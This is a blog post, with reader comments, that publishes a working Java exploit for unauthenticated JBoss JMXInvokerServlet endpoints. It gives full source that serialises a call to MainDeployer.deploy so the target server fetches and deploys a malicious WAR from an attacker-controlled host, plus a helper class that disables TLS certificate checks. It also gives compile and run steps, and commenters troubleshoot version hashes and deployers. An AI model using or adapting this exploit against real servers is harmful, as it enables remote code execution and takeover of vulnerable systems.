Friday, September 20, 2013

JBOSS JMXInvokerServlet Exploit

Recently ran into a JMXInvokerServlet that didn't require authentication. These generally have a URL that looks something like:

http(s)://localhost:8080/invoker/JMXInvokerServlet

While there is a Metasploit module for this, it wasn't working for various reasons. Inspired by Matasano (http://www.matasano.com/research/OWASP3011_Luca.pdf), I wrote up some custom exploit code for this.

Make sure you modify the appropriate strings in JBOSSExploit.java:

//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://externalhost.com/test.war";
String payloadSaveLocation = "testPayload.out";

hash -> This is specific to the version of JBOSS. It's the entry that identifies jboss.jmx:name=Invoker. For my version it was 647347722. Metasploit modules have a different number here and is one of the reasons it was failing (you'll get an exception back from JBOSS if this is wrong).

jmxURL -> Self explanatory

attackerURL -> Host a malicious WAR file here and watch your apache logs

payloadSaveLocation -> This is useful if you want to proxy through BURP or use the metasploit module to send the payload rather than this hacky Java code. The payload object will be saved to disk. You can then overwrite /usr/share/metasploit-framework/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin with the payload generated here. When you run the jmxinvoker metasploit module, it will use this new payload and you can see what's going on by proxying MSP through BURP.

To Compile (make sure you have the JAR files, they come with JBOSS):
javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

To Run:
java -cp jboss.jar:jbossall-client.jar JBOSSExploit

To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/test/

And of course, the code:

JBOSSExploit.java:

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;

import org.jboss.invocation.InvocationException;
import org.jboss.invocation.MarshalledValue;
import org.jboss.invocation.MarshalledInvocation;


public class JBOSSExploit {

public static void main(String[] args) throws Exception {
//Parameters you need to configure
int hash = 647347722;
String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
String attackerUrl = "http://localhost/test.war";
String payloadSaveLocation = "testPayload.out";

MarshalledInvocation payload = new MarshalledInvocation();
payload.setObjectName(new Integer(hash));
Class<?> c = Class.forName("javax.management.MBeanServerConnection");
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
payload.setMethod(method);

Object myObj[] = new Object[4];
myObj[0] = new javax.management.ObjectName("jboss.system:service=MainDeployer");
myObj[1] = new String("deploy");
myObj[2] = new String[]{attackerUrl};
myObj[3] = new String[]{"java.lang.String"};
payload.setArguments(myObj);
        FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);
        ObjectOutputStream out = new ObjectOutputStream(fileOut);
        out.writeObject(payload);
        out.close();
        fileOut.close();
        System.out.printf("Payload saved in "+ payloadSaveLocation);
     

        String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";
        URL u = new URL(jmxUrl);
        HttpURLConnection conn = (HttpURLConnection) u.openConnection();
        TrustModifier.relaxHostChecking(conn);
        conn.setDoOutput(true);
        conn.setRequestMethod( "POST" );
        conn.setRequestProperty( "Content-Type", type );
        conn.setRequestProperty( "Content-Length","10000" );
        OutputStream os = conn.getOutputStream();
        new ObjectOutputStream(os).writeObject(payload);
     
        ObjectInputStream in = new ObjectInputStream(conn.getInputStream());
        Object obj = in.readObject();
        if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){
        System.out.println("\nGot MarshalledValue response");
        MarshalledValue mv = (MarshalledValue)obj;
        Object mvContent = mv.get();
        if(mvContent != null)
        {
        System.out.println(mvContent.getClass().toString());
        if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){
        System.out.println("Invocation Exception Received");
        InvocationException ie = (InvocationException)mvContent;
        System.out.println(ie.getMessage());
        ie.printStackTrace();
        }
        }
        else
        {
        System.out.println("Success! Look for the deployed WAR.");
        }
        }
     
   
     
}

}

TrustModifier.java


import java.net.*;
import javax.net.ssl.*;
import java.security.*;
import java.security.cert.*;

public class TrustModifier {
   private static final TrustingHostnameVerifier
      TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();
   private static SSLSocketFactory factory;

   /** Call this with any HttpURLConnection, and it will
    modify the trust settings if it is an HTTPS connection. */
   public static void relaxHostChecking(HttpURLConnection conn)
       throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {

      if (conn instanceof HttpsURLConnection) {
         HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;
         SSLSocketFactory factory = prepFactory(httpsConnection);
         httpsConnection.setSSLSocketFactory(factory);
         httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);
      }
   }

   static synchronized SSLSocketFactory
            prepFactory(HttpsURLConnection httpsConnection)
            throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {

      if (factory == null) {
         SSLContext ctx = SSLContext.getInstance("TLS");
         ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);
         factory = ctx.getSocketFactory();
      }
      return factory;
   }
 
   private static final class TrustingHostnameVerifier implements HostnameVerifier {
      public boolean verify(String hostname, SSLSession session) {
         return true;
      }
   }

   private static class AlwaysTrustManager implements X509TrustManager {
      public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }
      public X509Certificate[] getAcceptedIssuers() { return null; }    
   }
 
}





15 comments:

  1. Hi Stephen! Awesome blog!

    May I ask how you found the hash value of the invoker jboss object?? I'm doing a pentest of Jboss 6 with unauthenticated /invoker/jmxinvokeservlet.

    Thanks!

    ReplyDelete
    Replies
    1. I got lucky in that the version I was testing used the same version hash as the one in the Matasano paper. The Metasploit module uses a different version hash in its payloads. You could try both of those, if neither work, I'm actually not sure where to find it other than inspecting network traffic. I'd start by installing JBoss 6 locally and doing some research.

      Let me know if you figure it out. I know that the guy who did the original research is on twitter @_ikki, could try asking him.

      Delete
    2. I did some research; see here http://forelsec.blogspot.com/2014/01/fetching-jboss-mbean-method-hashes.html

      tl;dr: JBoss 5.x and up invoke the method not with an integer hash value, but with an Object. Not sure how, but it's likely that an Object needs to be serialized out first to map to the correct method.

      Delete
    3. Awesome, thanks. When I get some time I'm going to package this up with a bunch of version hashes and different "Deployers" (because not all JBOSS setups use the MainDeployer).

      I'll definitely look into making it compatible with versions above 5.x with an object in place of the version hash. I doubt you even need to "serialize" the object out. You would just need to find what type of object and set it, then the whole thing gets serialized and sent over in one shot. Totally doable, probably just a few lines of code.

      Delete
    4. Good observation. I'm looking into this as well, and have integrated my findings thus far into a new exploitation tool:

      https://github.com/hatRiot/clusterd

      I currently have the hashes for 3.2/4.0/4.2, but have yet to figure out 5.x and above. I've also implemented all publically available deployers for JBoss, and ensure that the versions match up with the deployers.

      Feel free to contribute your findings.

      Delete
    5. Has anyone figured out how the hash value for the jboss 6 yet?

      Delete
  2. javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java

    above works and compiles

    but below gives me "Error: Could not find or load main class JBOSSExploit"

    java -cp jboss.jar:jbossall-client.jar JBOSSExploit

    please help.

    ReplyDelete
  3. Try java -cp jboss.jar:jbossall-client.jar:. JBOSSExploit

    Notice the ":."... includes the current directory in the classpath. You need the classpath to include JBOSSExploit.class.

    ReplyDelete
  4. Any hash for X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1?
    Thanks

    ReplyDelete
  5. I'm getting InvocationException, but the command-line doesn't show the full trace. Running it in Burp, I can see that it's actually a DepolymentException with "No context factory for " off of org.jboss.virtual.VFS.getVFS().

    1) I'm testing against JBoss 5.1, is this related to the hash not matching this version?
    2) Can the command-line output be improved to show the other exceptions in the stack?

    ReplyDelete
    Replies
    1. Self-reply to help people searching for the same thing.
      1) No, the hash is just fine.
      2) You want to call getTargetException() on the InvocationEXception to get the InvokerAdaptorException, then you want to call getWrapped() on that. You now have the original Exception that was thrown, which is useful for debugging.

      Further, the MainDeployer.deploy() function doesn't work properly in JBoss 5.1 as this function is now restricted to only accepting vfsfile:// URIs. See https://issues.jboss.org/browse/JBPAPP-8215

      Delete
    2. Hey, I can confirm the hash does seem okay. The problem seems to be like you said with the deployer. I'll be working on this a bit in the next few days and will post an update if I get the code sorted out.

      Delete
    3. New post with an update that should work against JBoss 5.1 - tested on 5.0.1. Addresses the VFS problem by using a different deployer http://breenmachine.blogspot.com/2014/02/jboss-jbxinvoker-servlet-update.html

      Delete
  6. Hi,

    Just started looking into this and tried using a HEAD method instead of POST. However, I receive a ProtocolException: HTTP method HEAD doesn't support output.
    I changed POST to HEAD on line 48 of the code before compiling it.

    Please any ideas?

    ReplyDelete